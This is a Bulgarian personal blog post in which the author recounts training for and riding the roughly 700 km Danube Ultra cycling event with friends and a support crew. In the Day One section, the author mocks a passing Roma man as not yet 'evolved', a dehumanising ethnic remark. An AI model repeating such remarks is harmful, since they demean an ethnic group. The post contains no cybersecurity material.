Понеже пак се очертава огромен разказ ще го разделя на няколко отделни поста за да е по-лесно прехвърлянето на безинтересния текст и да се проследи криво-ляво timeline-а на събитието.

В тази част ще поговорим за мотивацията, тренировките и логистиката до старта на събитието.

Тренировките

В последните почти 4 месеца наблегнах върху колоездачните тренировки и храненията като за второто използвах професионалните умения на Георги Ненов от livetolift.com, който си има и свой подкаст носещ желязното име “Свръхчовекът с Георги Ненов“. Жоро се хвана и започна да ми предава своите знания методично и уверено, без да ме начупи с мега рестриктивните диети или да ме кара да правя абсурдни хранения така, че едвам да ставам сутрин от леглото. Започнахме първо с измерване на мерките ми и не беше приятно като заигра метъра. След това започнах да си водя дневник на това какво ям, кога и как се чувствам. В началото беше странно да пиша всичко това и да знам, че някой го следи, но изигра огромна роля при по-нататъшното – “От една вафличка нищо няма да ми стане”.

После дойде ред на специализираната част с колоезденето – храненията на колелото, в почивките, преди и след тренировка, възстановяване, пейсинг и много и малки tips and tricks, които ми влязоха в страхотна употреба.

Жоро е мотиватор, който има супер дълбоки разбирания за това как работи нашия организъм, от какво имаме нужда и как да го направим. Доволен съм от избора си и работата с него.

Ще спомена само някои от промените, които тялото им изпита от Юли до Септември:

  • Талия: -11.5 см;
  • Корем: -11 см.;
  • Задник: -5.5 см;
  • Килограми: – 102 кг. –> 94 кг. (note, че около май-юни бях 105 кг.).

Относно техническата част с тренировките се стараех поне веднъж седмично да правя по-дълга дистанция (между 100 км и 200 км) с експерименти откъм пейсинг, хранене, прием на вода и други. Освен това гледах 2 до 3 пъти в седмицата да правя и стандартни дължини от до 50-тина км. експериментирайки. Например преди няколко седмици за едно каране направих катерения на две баирчета във Варна (този на Почивка и на Борисовата Воденица) общо 20 пъти, друг път правих TT, трети път – смесени маршрути.

Карах големи и дълги изкачвания, опитвах се да анализирам къде ми стига лимита и колко мога да издържа, и си направих изводи, които използвах по-късно на събитието.

По колелото направих няколко значителни ъпгрейда като основните са – сменени жила и брони, нова задна гума (старата беше направо като решето), ново колче и кормило (кормилото е compact, което ми е мечта от години). Общото му тегло в този вид е 10.5 кг.

Подкрепата

Обикновено когато човек каже на близък или приятел, че ще отиде да кара почти 700 км. за 48 часа среща два типа реакции:

  1. С какво мога да помогна?
  2. Това не мислиш ли, че е излишно? Не мислиш ли, че е по-добре да си почиваш вкъщи и да не се натоварваш толкова?

Е – срещнах и двата типа, но това не ми попречи кой знае колко на мотивацията (за разлика от предни пъти). За това изигра основна роля Златина, която на моменти беше по-мотивирана от мен да ходя на тренировки, интересувашe се от всичко, което правя и ме надъхваше най-вече в моментите, в които аз нямах на какво да се опра. Без нея дори не бих отишъл на старта. Предполагам знае колко много значи това за мен и особено факта, че последните 3 месеца бях на колелото повече от 80 часа, време изяждащо нашето заедно. Тя го прие и насочи към най-доброто за мен. Думите свършват някъде тук.

Пешо от друга страна направи всичко с техническата и планиращата част – намери двама човека, които да карат поддържащата кола с нас, да носят нещата ни, да ни помагат, да не спят повече от 3 часа за двата дни от състезанието, направи денивелационен план с по-вълнуващите части от трасето и timeline с времената, които трябва да покрием за да финишираме. Той организира и спонсора ни – Isostar, който ни приготви едно страхотно кашонче с всичко от което имахме нужда, както и подкрепата на веломагазин за светлини и резервни части при нужда.

Семейството и приятелите реагираха първоначално малко резервирано, защото знаеха не по-малко добре от мен какво ме очаква заедно с всички евентуални негативни последици. Но с улягане на идеята съдействаха с каквото можаха, което ме направи безкрайно щастлив.

Пътуване и логистика

Реших да използвам услугите на WizzAir за да се дотътря до София, а за колелото и двете раници с екипировка използвах Еконт. Останах приятно изненадан като разбрах, че всичкия багаж + обявена стойност на колелото и GPS-а + застраховка излезе 20-тина лв. Аз си бях приготвил единия бъбрек. Момчетата от Варненския офис на доставчика бяха ангажирани сигурно 40 минути с опаковането на колелото, свършиха добре работата, но им писна в някакъв момент и сигурно ми теглиха по една като си тръгнах.

Няколко дни преди да тръгна получих мейл, че получавам безплатен ъпдейт до WizzPrority, което ми осигурява сигурност, че чантата ми ще е в кабината и отделно помещение за чакане на опашката за shuttle-а. Е – излязох отпред и … чакахме 30-тина минути на 30+ градуса. Усещате ли иронията?

После последва коронния ми номер със спането с отворена уста в самолета. По правило ако някой друг ме вози и нещо не ми държи ангажирано вниманието заспивам моментално. И не знам защо, но ВИНАГИ с отворена уста. Отворих очи и първото което видях беше двете стюардеси да ме гледат и да се смеят. Радвам се, че още мога да забавлявам хората и също, че нямаше мухи в самолета.

Престоя ми в София беше интересен. Видях се със сестрата на Злати (където останах Вторник и Сряда), която ме посрещна топло както и двете ѝ момиченца – Катито и Габито, с които взаимно си стопихме лагерите от игри, видяхме се с колеги и дойде Четвъртък – времето за тръгване към Видин. Запознах се с Любо и Ева, които бяха отговорните хора за транспорта и обслужването ни по време на карането. По пътя към Видин спряхме да хапнем в една кръчма на средата на нищото със страхотни манджи и продължихме. Пристигайки във Видин, Пешо си направи застраховка живот и отидохме на мястото за провеждане на първоначалния инструктаж.

Там бяха 30-тината юнаци и юначки с които щяхме да атакуваме заедно Дунава. Презентацията на Борис Бегъмов беше прекалено дълга и с прекалено много детайли, които забравих още с излизането си от вратата. Запознахме се с няколко човека, запалихме джапанките към Баба Вида да си направим първото селфи, хапнахме, подготвихме велосипедите и легнахме.

Ден първи

Телефона звънна в 5:00, станах, изкъпах се набързо (доколкото мога да изкъпя и изсуша набързо косата…), Любо вече беше буден. Приготвих си багажа, сложих екипировката и се срещнахме с Пешо и Ева (които спаха в друг апартамент) и оттам – към старта. Беше към 7, когато отидохме на центъра и зачкахаме. Участниците се събраха един по един, организаторите бързаха да си приготвят нещата и така в 7:30 започна официалното откриване. Борис и кмета на Видин Огнян Ценков говориха, пожелаха ни успех и … СТАРТ. Ама чакай – не истински старт, а за пред фотографите и дрона. Пък и центъра разоран – ще го ремонтират. “Ей там, напред до пътя тръгнете”. Тръгваме ние, знаейки, че ще боли, ще гоним време, ще се борим със себе си и всички други драми и … никой не идва. След малко дотичаха едни жени облечени като от кметството (то няма от къде другаде да бяга де) и задъхани – “Кмета ей сега идва”.

Чакахме 20 минути кмета да се придвижи пеш от Баба Вида до Старта. ДВАДЕСЕТ МИНУТИ. Да бяха му дали едно колело на човека, преди казаха, че бил триатлонист, щеше да се справи.

Малък teaser – ако не бяха тези 20 минути закъснение много часове по-късно на финала нещата щяха да са наистина инфарктни.

Как да е, преглътнахме го това, часът вече е 8:20, камери, полиция, кмет, организатори, 5-6 изключително недоволни шофьора, че нещо се случва и не могат да минат с нормалното си темпо. Организатор и кмет стискат ръце за последно, всички сме върху педалите (#nohomo), тръгваме…

“Чакайте, чакайте, изтървах ръкостискането” вика една нахакана фотографка, предполагам от местния вестник. Аз се разбеснях вече, че ми писна и тръгнах, заедно с всички останали.

Темпото в началото с полицейския ескорт организаторите определиха като несъстезателно и стегнато, така и караме и ние. Полицейската кола кара с 20 км/ч, ние отзад. След малко колата кара с 40 км/ч, преди баир нагоре намаля, отзад става половин километров ластик, спираме, чакаме да се съберем и да пропуснем движението, тръгваме. Бавно, ластик, спираме, тръгваме, спираме, ластик, тръгваме. След като полицаите ни оставиха разбрахме, че отзад имало няколко човека, които издъхнали в началото и чак тогава ми светна за грешката, която организаторите направиха – просто не беше честно да тръгваме в една група хората, които бяхме декларирали, че ще изминем маршрута за 48 часа и тези за 5 дни. Вторите можеха да си позволят цялото време на света, да се разхождат и най-вече – да карат с приятно за тях темпо и да не се бъхтят като ненормални. Според мен трябваше да направим едновременен старт, но петдневните да са зад втората полицейска кола с адекватно темпо, за да не се чувстват пребити още в началото.

Как да е – приключихме с полицейския ескорт и милионите снимки от тази същата фотографка (снимки, които съм сигурен, че няма никой никога да види) около Арчар и започнахме с карането. Аз все гледах наляво – Дунава е голям, а аз не бях стъпвал толкова на запад. Подминавахме гледки, които бяха толкова различни от това, което съм свикнал да гледам, че понякога ми се приискваше да бяхме направили петте дни, за да можем да се разходим като хората по поречието на реката.

Първото ни изкачване беше на Арчар на 28 км. Добри Дол, Сливата, Орсоя та чак до Лом пътя беше прав, настроението – отлично. Влизайки в Лом ни очакваше първия от общо седемте сериозни баира по пътя. Това е 2.8 км. със средно 5% наклон. Не, че не го изкарахме, изкарахме го, но ми се окоти коня (този израз така и не разбрах от къде е дошъл и ме е страх да питам), а паветата караха леките болки в ръцете да се засилят с още малко. За пръв път в живота си карах толкова дълго на павета.

Пътя мина през лошия асфалт на Ковачица, там и по спомен спряхме за почивка. Ева и Любо бяха спрели на една отбивка и бяха приготвили хапване и вода, имаше даже и столчета на които да седнем. Бегъмов спря с буса и си поговорихме малко, снимаха ни, а ,у, и продължихме. Надявахме се това да е най-лошото трасе по целия маршрут, но surprise – не беше.

Прекосихме едно приятно мостче на р. Цибрица и след нея последва баира, отвеждащ ни до покрайнините на Горни Цибър. От там последва едно страхотно спускане към Козлодуй, където трябваше да се отбием на първия ни за деня чекпойнт. Още като завихме от основния път усетихме, че това посещение ще е специално. Парка на Козлодуй е може би най-красивия парк, който съм виждал изобщо. Имаше една дълга улица от двете страни с приятни къщички, кестени, които ни пазиха от вече сериозното слънце, и приятна атмосфера. Стигнахме до паметника, направихме по едно селфи с Пешо и отидохме при колата, където рая вече беше слязъл. Нашите ходили до магазина, взели още яйца, сирене и бекон, айрян и бяха извадили от доматите на бабата на Пешо. Всичко беше приготвено и ни чакаше. Беше толкова яко, че ми се искаше да останем там още няколко часа.

Потеглихме с известна неохота и продължихме. Вече бяхме направили първите сто километра и всичко беше приятно. Само слънцето да не печеше толкова…

Потеглихме към АЕЦ Козлодуй и едно кратко изкачване. Учидих се на огромните мащаби на АЕЦ-а, после се учудих защо се учудвам. Учудих се и на това.

Следващите 25 км. преминаха в сравнително равни участъци с неприятен на места асфалт. Подминахме Хвърлец, Гложене, пресякохме р. Огоста и се насочихме към четвъртия от седемте баира на Дунав Ултра – този на Оряхово.

Сам по себе си не беше нещо, което не сме виждали с Пешо – ~5км с около 5% наклон и лош на места асфалт, но вече беше топло. Усещането беше все едно някой ни поливаше с гореща вода докато сме във фурна в къща, която гори. Хубавото беше, че в наше ляво се показваше Дунава и това ми даваше сили.

През всичките почти 700 км. нямаше и момент, в който като видя Дунава нещо да не ми трепва и зарежда вътрешно.

Километър 140, а навън времето беше станало адски горещо. Пешо трудно понесе това и се надявахме в Лесково наистина да има пункт от местни жители, които да ни насочат към чешма или поне сянка. Спирайки там рая дойде. Имаше местни, усмихнати люде, приготвили нещо за хапване и вода за пиене, а до тях имаше нещо дори по-ценно – чешма. Красива и голяма, изрисувана и добре поддържана чешма с деца и усмихнати хора наоколо. Пешо влезе буквално целия в нея и светна, аз потопих само краката до колената. Напълнихме вода, поговорихме си с хората и продължихме напред освежени и готови да атакуваме най-стръмния баир по целия маршрут на Дунав Ултра – с. Остров.

Табелата на с. Остров ни посрещна равнодушно, лошия асфалт преди селото малко ме наплаши, че изкачването ще е още по-трудно. Знаехме вече, че местните ще ни посрещнат топло и последвахме табелата. Чакаха ни кметицата на селото и още две жени. Посрещнаха ни топло, поговорихме малко и избухахме няколко парчета солена и сладка баница, която кметицата лично била замесила предната вечер. След разговора се отбихме до близката будка в която продават кафе и бухнах първото кафе за деня. Продължихме по живо по здраво. Притаихме дъх, готови да атакуваме. Минаха 20 метра, 50 метра, 100 метра и питам Пешо – “Абе тоз баир няма ли вече да идва, че ми писна!”. Оказа се дълго село. Как да е, точно в подножието му Пешо видя табела “Евтаназия по домовете”. Беше малко doomsday общото настроение в селото.

Малко за анатомията на баира – дължината му е ~2.5 км със среден наклон от около 6.5% като имаше няколко участъка от по 10-тина процента. Общо изкатерихме около 160 метра в положителна денивелация. Ако това не ви говори нищо ще обобщя – беше трудно. И все пак не беше невъзможно. Аз се притеснявах дали ще успея да го изкарам и да запазя силите си (все пак бяхме на 540 км от финала), но в компанията на Пешо го изкарах и дори не беше кой знае колко страшно.

Появиха се и фотографите на събитието. Двамата бяхме целите в пот, но настроението беше добро. Подминахме един циганин, който още не беше еволюирал до финалната си форма, посмяхме се, а, у, дойде спускането и БАМ

първа спукана гума

Влязох зверски в много неприятна дупка и чух шляпането. Спирам, Любо светкавично ми подаде помпа, щангички, гума и аз се заех със смяната. В това време фото екипа спря до нас с едно раздрънкано Пежо и предложиха помощ. Като видяха, че се справяме започнахме да си дрънкаме някакви неща, дойдоха и двойката румънци, които помолиха Пешо да им помогне, че на момчето му се беше прецакал нещо задния дерайльор и по негови думи каза, че последните 50 км. карал на най-леките предавки :D Сигурно се е пръснал.

Към средата на процедурата въпросното Пежо тръгна само по баира надолу без човек в него. Аз се пръснах да се смея, фотографката изприпка и я спря. Малко по-напред беше колелото на Пешо и малка бездна.

Гумата беше сменена, на Claudiu колелото беше оправено и потеглихме. Очакваха ни още около 120 км. Следващата ни цел беше с. Гиген или по-точно римското селище Улпия Ексус. Когато стигнахме направихме по едно селфи и поговорихме с другите колоездачи, които засякохме там. Вече беше започнало да се смрачава и изкарахме светлоотразителните жилетки, стопове и фарове.

Преминаването през с. Гиген беше много приятно – първо, че поддържащия автомобил караше зад нас и се чувствахме с пъти по-сигурно, и второ – времето беше много приятно, свеж въздух преминаваше през нас, няколко къщи светиха, a темпото беше добро.

В продължение на 50-тина км. карахме с равномерно темпо по напълно прав път без нито един баир, но километрите вече натежаваха.

Последва ни предпоследния баир на ден първи – този на Сомовит – около 3 км. с лек наклон от около 4.5%. Не беше голяма драма, но дупките бяха отвратителни.

В Никопол седнахме на непредвидена вечеря с румънците, Любо и Ева. Вече бяхме адски изморени, а плана беше към 23:00 да сме в Свищов. Беше ясно, че няма да успеем да стигнем навреме. Освен това асфалта беше много особен – мега грапав, спусканията ги взимахме с 20 км/ч и това постоянното избягване на дупки беше също доста изморително.

В крайна сметка ден първи свърши в 2:30 в околията на гр. Белене (веднага след като си направихме по едно селфи на табелата).

Пешо, Ева и Любо разпънаха палатките и спаха там, аз реших да спя в колата. Въртях се сигурно един час докато си успокоя духа и тялото.

Ден втори

Часът е 5:30, алармата звънна. Събудих се странно свеж знаещ, че денят ще е дълъг и интересен. Изпихме по един горещ чай с Любо, Пешо и Ева и тръгнахме по своя път. Учудващо, бяхме починали достатъчно за да продължим, духа и на двамата не беше пречупен, а задника и дланите ми не бяха тотална щета. Все хубави неща.

До Свищов, както писа и Пешо, стигнахме на автоматик, а и пътя беше супер равен. Посрещнахме изгрева, спряхме на една бензиностанция на Свищов, бухнахме по едно кафе и продължихме към точка номер 5 – църквата с въртящите колони. До нея за окончателно събуждане ни чакаше един кратък, но лют баир до църквата.

След това се отправихме към единствения несъборен паметник на Ленин в страната – този в Новград. Спряхме, поговорихме малко с местните, напълнихме вода и потеглихме. След едни приятни спускания телефона ми звънна и беше Борис Бегъмов. Каза ни, че сме объркали маршрута и трябва да се върнем. Не беше тежък на връщане, но отне около 40-тина минути, малко баири и бяхме на прав път директно към лошия път на Белцов/Ценово.

Та точно пресякохме р. Янтра и попаднахме на един от най-лошите пътища изобщо – имаше дупки тук-там, но лошото беше неравния асфалт. Имаше стърчащи камъчета, които го правиха добър по време на дъжд или може би сняг, но когато караш колело с 25 мм. широка гума надута на 7 бара чувството не е яко.

Не знам дали споменах, но за разлика от ден първи ден втори, противно на това, че се насочваме към равна Добруджа, беше много по-хълмист. Положителната денивелация беше 2,75 км, което е рекорд за 400 км. за един ден за мен (баси изречението, а?).

Първият сериозен баир беше и този с гадния асфалт между Ценово и Обретеник – почти 5 км изкачване с общо 200 метра денивелация.. последва едно страхотно спускане и пак – баир, после пак. Така нещата продължиха до Русе – малки изкачвания.

В този момент ясно помня как грохнах.

Ей така от нищото уж се смачках. Помня как мрънках на Пешо да намали макар, че времето изобщо не беше с нас и така направихме смяна и водих аз. Заведох ни в Русе за снимка, но усещах как състезанието за мен скоро ще приключи. Усещах липсата на всякаква енергия, демотивацията, огорчението, че ще проваля и двамата. Бях навел глава и въртях колкото можех, но трябваше поне два пъти повече за да имаме някакъв, какъвто и да е било то шанс да се впишем в 48-те часа.

Четиридесет и шест километра бях между това да припадна и да опитвам да държа темпото на Пешо докато той беше намалил осезаемо. Беше най-трудната част от карането. И най-трудното беше не това, че нямах сили, защото вече бяхме карали 30+ часа, а това, че психиката ми беше на косъм да се предаде. Нямах никакво желание да кажа – “Повече не мога”, но знаех, че нямаше да изкарам много.

И все пак въртях. Въртях точно толкова, колкото ми беше максимума и така 46 км. И понеже вярвам в щастливи съвпадения, но не и за моя сметка, бях безкрайно учуден като се засякохме с врачанско-видинската група.

Нека ви разкажа за тях, защото толкова колорит е трудно да бъде описан само с едно изречение. Врачанско-видинската група е единствената четворка на Дунав Ултра 2018. Най-ниския участник там е 190 см, средния ръст е около 2 метра. Всичките четирима са в много добра форма, но не това е най-интересното в тях. Те са по друг начин интересни. Те са цветни. И то толкова цветни, че като тръгнат да говорят и човек може да се спука от смях.

И така, видяхме ги, поговорихме малко с тях, Пешо обърна на врачански и вдигна още повече настроението, аз стоях отстрани насран и ,знаейки, че сега ще е още по-тъпо ако не мога да им наваксам темпото. Карахме малко заедно, но аз нямах повече какво да дам. Тогава Пешо дойде и ми каза – “Това е последния ни шанс. Ако ги изтървем никога няма да приключим в 48 часовата рамка”. И беше прав. Имахме още над 220 км., нощта беше близо. Напънах наистина колкото можах, че и повече. Това беше моя абсолютен предел. Броях на ум, следвах темпото, опитвах се да карам плътно зад последния.

Не успях.

Правих постоянно ластици и това сигурно изнерви момчетата, но сигурно са ме видели, че давам каквото мога и се случи това, за което ще им бъда благодарен винаги. В района на Тутракан последва един 3км баир, който не беше нещо кой знае какво, но аз грохнах. Педалирах прав, седнал, сменях начините на дишане, хапнах малко и успях да направя сигурно 300 метра ластик.

Не спрях.

Някак тия петимата ми показаха, че мога да бъда с тях, но трябва да го заслужа.

И въртях. Ставах, сядах, дишах. Пак ставах, пак сядах, дишах.

Изчакаха ме.

Болеше, но продължих. От този момент до следващите 200 км. се сформира един колективен дух в който станах член и аз.

В спорта често можеш да разпознаеш сърцатите хората без да говорят много и те го показаха, и петимата.

Пристигнахме в Тутракан, направихме по едно селфи, поговорихме си малко с фото екипа, който беше там, напълнихме вода, хапнахме малко, заредихме, приготвихме се за една дълга нощ и тръгнахме. Следващата ни цел беше Силистра. Тези 60 км. ги взехме с 18 минути почивка. Момчетата въртяха здраво, аз стисках зъби като на места бях толкова изтощен, че се чудих дали няма да падна някъде.

Дългата поредица малки, но стръмни баирчета се гъбаркаше с мотивацията и това, което е останало от мен, но така и не се откъснах от групата.

Стигнахме Силистра, а там Любо и Ева бяха паркирали до марка и осмия чекпойнт и правиха омлет. На тротоара. Спряхме, аз се строполих на земята, но нещо дълбоко в мен знаеше, че няма да оставя момчетата както и те мен. Вдишах няколко глътки въздух, хапнах, посмяхме се с момчетата и тръгнахме.

В първия-втория ден на новолунието вечерите са тъмни като в гъз. Толкова тъмни, че ако е облачно човек може да се дезориентира без много трудности.

Дойде времето за последния сериозен баир на Дунав Ултра на 150км от финала. Участъка на пътят Силистра-Добрич продължи около 19-тина км. като се наредиха две катерения. Не те бяха трудни, но спирахме често, нямахме още кола зад нас, която да свети и най-лошото беше, че не можехме да видим кога най-накрая ще свърши проклетия баир. 80 минути катерене и спускане на спирачки и общо под 20 минути почивка стигнахме върха на нашето приключение. Карахме с доста добро темпо, дрънкахме си някакви неща, аз си възвърнах силите и мотивацията, ума ми беше супер свеж.

Карахме вече към моя роден град – Добрич и започнаха шегите. Всичко беше страхотно докато не видяхме в далечината няколко светкавици, които раздираха облачното, тъмно като катран небе. Дадохме си експертните оценки, че няма да ни вали и не мина много време докато стигнем до Средище, където заваля един малък порой. Понеже бяхме подготвени набързо облякохме непромокаемите горнища, но то веднъж като те навали… Почакахме малко да намалее и тръгнахме. Наядохме се на кал чак до Добрич.

Оттам маршрута мина през летището, което с ръка на сърце мога да кажа, че беше най-лошия път през целия маршрут. Гониха ни кучета, беше тъмно, имаше мокри участъци със скрити дупки, скъсахме спица.

След като минахме най-лошия път по трасето тръгнахме в посока Кардам (с. Стефан Караджа, Генерал Тошево – Кардам). Там участъка е нов и идеално прав (буквално, денивелацията до Кардам му е само няколко метра). Тръгнахме бавно с Пешо докато видинско-врачанския отбор не оправиха скъсаната спица и след няколкостотин метра зад нас се чу буквално вой, който каза нещо от рода на: “Хайде последна атака, пустиняци!”. Оставаха ни около 70 км, слънцето още не се беше показало. Настръхнах, настъпих педалите (#nohomo) колкото можах и се учудих, че изобщо мога да си контролирам още краката. С едно отмерено движение четворката ни изпревари и ние се залепихме зад тях. Не знам какво е да изпитваш религиозно увлечение (макар, че съм имал въображаеми приятели), но в този момент изпитах нещо такова. Часът по спомен беше някъде около 5:00 и непрогледната новолунна нощ започна да сменя леко-леко цветовете си. Признавам направи го бавно, имаше и мъгла на места, но го направи. В първите успели да пробият лъчи на новия ден ние карахме със скорост, с каквато никога не съм мислил, че ще мога да се движа след 600 км. и общо три часа сън.

Тогава се случи нещо интересно. С времето в подготовка четох много и не мислих, че ще има нещо фундаментално ново за мен, което ще срещна по време на Дунав Ултра, но ето, че се случи. Когато подминахме с. Стефан Караджа и се отправихме към нашата финална атака на Дунав Ултра осъзнах, че получавам халюцинации… от няколко часа. Беше забавно, защото съм сигурен, че бях с всичкия си, но разтегливите форми променяха вида и цвета си покрай мен. Беше странно абстрактно. Нещо като organic augmented reality – насложена реалност върху нашата. Предполагам, че освен от умората и недоспиването може да съм изпаднал в някакъв сериозен дефицит на нещо (я витамин, я минерал, я нещо друго).

Та, да се върнем на летенето. Когато карахме в участъка с. Стефан Караджа – Генерал Тошево усетих онази близост с моя край, която като, че ли ти казва – “Добре дошъл”. Почувствах се силен – бях изкарвал тази отсечка неведнъж и всеки път беше абсолютното удоволствие. Удоволствието да караш с тия петимата, които вече виждах повече като войни, беше нереално.

И за добро или лошо свърши хубавия път, стигнахме до Кардам и там, мястото за последната снимка всички спряхме и бойния дух се върна в нива подобни на тези в старта на тази лудост. Посмяхме се, заредихме с вода, пуснахме по една такава и остана последната точка – около 36 км. до табелата на Дуранкулак. Не съм сигурен дали преди съм виждал толкова целеустремени хора, но гледката беше направо настръхваща – всеки се беше съсредоточил (това е думата, защото за всичко друго бяхме вече прекалено уморени), всеки се бореше с последните малки демончета, които бяха останали в него и всеки имаше една цел, която преследваше като хрътка (раздразнителна и много, много гладна хрътка) – последния метър.

Участвах в Дунав Ултра, за да изпитам върховната умора, чувството на прераждане (което изпитах на два дуатлона, 2-3 бревета и един sky-run) и да докажа на себе си, че още мога. И ще бъда честен – за 600 км. не бях изпитал в концентрация това, освен на няколко малки глътки. И това ме натъжи.

Ето, че броейки последните метри, а когато караш 670 км. 30 км. се чувстват като метри, попаднахме на един много лош участък. От момента помня само, че слънцето вече се показваше, имаше пъстра сянка по отвратителния асфалт, бяхме развалили формацията, за да се спасим поединично от огромните дупки, и …

Чу се все едно се счупи метал.

Шляп,

шляп,

шляп.

Втора спукана гума на 30км. от финала и най-вече – време, в което най-малкото забавяне ще ме дисквалифицира. Продължих да карам. 100 метра, 200 метра, 300 метра. Бях убеден, че ще изкарам, вече не мислих за колелото, знаех, че няма да има остри завои по пътя. Исках да приключа колкото се може по-скоро.

Не можах.

Момчетата ме спряха, погледнаха ме (всички без изключение знаехме, че ще финишираме или няколко минути преди края на контролното време (48:20 часа) или ще се провалим. Сервизната кола вече беше по пътя си към Дуранкулак където щеше да ни чака, аз нямах никакви инструменти в себе си, Пешо също. Това беше най-голямата ми грешка в цялото каране. Тогава капитана на четворката ми даде помпа и резервна гума, което беше огромен жест. Ако нещо се случеше с някой от тях нямаше да влезем в контролното време и всичките тези усилия щяха да бъдат напразни.

Сърцатите хора се познават по действията.

Пешо искаше да остане с мен, но нямаше смисъл – нямаше да сменим гумата по-бързо.

Не мисля, че ми отне повече от 3-4 минути да сменя гумата, още 1-2 да я напомпам до 7 атмосфери (което е абсолютен рекорд за мен) и да потегля отново. Ръцете ми бяха целите в масло (от веригата), трепереха, но не от друго, а от вълнение. Ума ми беше бистър, усещах върховното чувство на това, че състезанието започва едва сега. Състезанието беше със самия мен и този път нямаше къде да избягам, да се скрия.

Когато скочих на колелото, за да догоня момчетата усетих какво е издало звука на счупен метал – колчето на кормилото ми се беше строшило на две, но болта и контра-гайката си бяха здрави. Това ме постави в ситуацията, в която трябваше да избирам да спра и да не рискувам или да карам още около 30 км. до финала. За тези, които ме познават няма да се чудят дълго време какво ми беше решението.

И малко за това защо реших да продължа. За разлика от (да кажем) градските велосипеди шосейните не се управляват от кормилото, а от цялото цяло на колоездача, подобно на моторите. Основната част за управление на велосипеда е (както би казал Карен) – гъзът. Накланяш леко наляво и колелото отива там, накланяш на дясно и отиваш на дясно. Единственото, което трябваше да съобразявам през тези последни минути беше да държа ръцете на симетрично разстояние една от друга, за да запазя баланса на кормилото спрямо болта и да изнеса цялата си тежест (94 кг. съм ако не помните цифрите в началото) на кръста/гърба, за да може ако се счупи болта да не падна, а да запазя някакъв баланс.

Продължих. Polar-а беше умрял и пуснах Strava от телефона. Тя отчете последните 11 км и средна скорост от 28 км/ч. Шестотин осемдесет и седми километър, въртя като вятъра. Имах чувството, че за точно този малък, микроскопичен момент аз правя нещо. Чувствах се значим пред себе си, което е толкова рядко. Чувствах, че ще настигна момчетата и ще финишираме заедно. Чувствах, че мога, чувствах.

Вдишай-издишай, вдишай-издишай. Бях на прага на хипервентилацията. Гърдите ми се раздираха от сутрешния въздух, в мен гореше пожар, който нямаше да мога да загася ако не финиширам навреме. Болеше, но знаех, че ще боли повече ако не можех да финиширам навреме. Средния ми каданс беше между 110 и 120 оборота за минута, което е нещо крайно нетипично за мен.

Вдишай-издишай, вдиш…

Нещо ме стисна за гърлото грубо, силно и (не)очаквано.

В далечината, в последното спускане, в последния, шестотин деветдесет и осми километър, в последните завъртания на педалите, с последните вдишвания и издишвания се показа малката тълпа от хора, които стояха до табелата и започнаха да викат като ме видяха на хоризонта.

Часът беше 7:59.

Последните метри бяха нещо, което не исках да се случва. Исках да продължа и да карам още дни, да се радвам и да знам, че мога. В 7:59 се движих с 42 км/ч и въртях толкова, колкото не съм въртял никога.

Финиширах точно в 8:00

Пешо ми подаде последния сигнал, знаеше, че не можем и двамата да разчитаме на моята преценка. Аз слязох от колелото, оставих го на земята, стиснах силно ръката на Пешо и легнах на земята.

Не съм сигурен какво беше чувството, когато финиширах. Исках да си продам колелото, да го хвърля някъде или да се прибера на ход към Варна. Не чувствах удовлетворение, не чувствах, че съм победител. Не чувствах.

Поговорихме малко с Пешо, с Любо и Ева, с момчетата от видинско-врачанската група,  върнах им помпата и нова резервна гума, някой подаде кенче, отпих една глътка, повече не можах.

Брат ми вече беше на финала готов да ми прибере тленните останки към Варна. Беше се подготвил повече от подобаващо – имаше една кошница с няколко бири (имаше и безалкохолни), солено и сладко за хапване, газирана вода, минерална и още неща, но аз бях толкова изморен, че не можех да поема повече нищо. Закара ме до Варна като през половината път аз просто бях заспал като пън.

Трябваше да минат две седмици, за да мога да почувствам нещо. Чувството не е като да си победител, защото не беше състезание, но не почувствах, че победих себе си. Пешо, момчетата, Любо и Ева не ми позволиха да стигна до абсолютното отчаяние, да се предам. Дължа им много.

Дали ще има друго такова каране сигурно питате? Още не знам. Не съм сигурен, че искам да го карам без Пешо, Евтим, Сашо, Наско и Иван, Ева и Любо и Златина.

И малко линкове:

  • Блог поста на Пешо по темата можете да прочетете тук;
  • За да можете да си представите настроението около гр. Тутракан можете да хвърлите едно око на видеото;
  • И малко статистика:
    • Изминато общо разстояние (с отбивките): 698 км.
    • Изминало време: 47:41:28 ч.;
    • Време на движение: 37:39:57 ч;
    • Време на почивка: 10:01:32 ч. от които 3 часа в сън;
    • Средна скорост: 14,6 км./ч;
    • Средна скорост на движение: 18,5 км./ч;
    • Общо изкачване: 4423 м;
    • Общо спускане: 4428 м;
    • Най-висока точка: 276 м.н.в., Карапелит – Добрич;
    • Най-ниска точка: 14 м.н.в., Силистра;
  • Денивилационния план за двата дни (+11 км на финала, защото Polar-а умря) можете да видите в галерията. Ако имате въпроси по тях ще отговоря на драго сърце. Ако са ви интересни и профилите на някои от баирите също мога да ги включа;
  • Този разказ го писах две седмици без ясна причина защо. Бяха направени почти 50 редакции по него, анализа на данните отне също съществено време. Пътят е отъпкан така, че следващия път би трябвало да съм по-експедитивен. Благодаря за търпението <3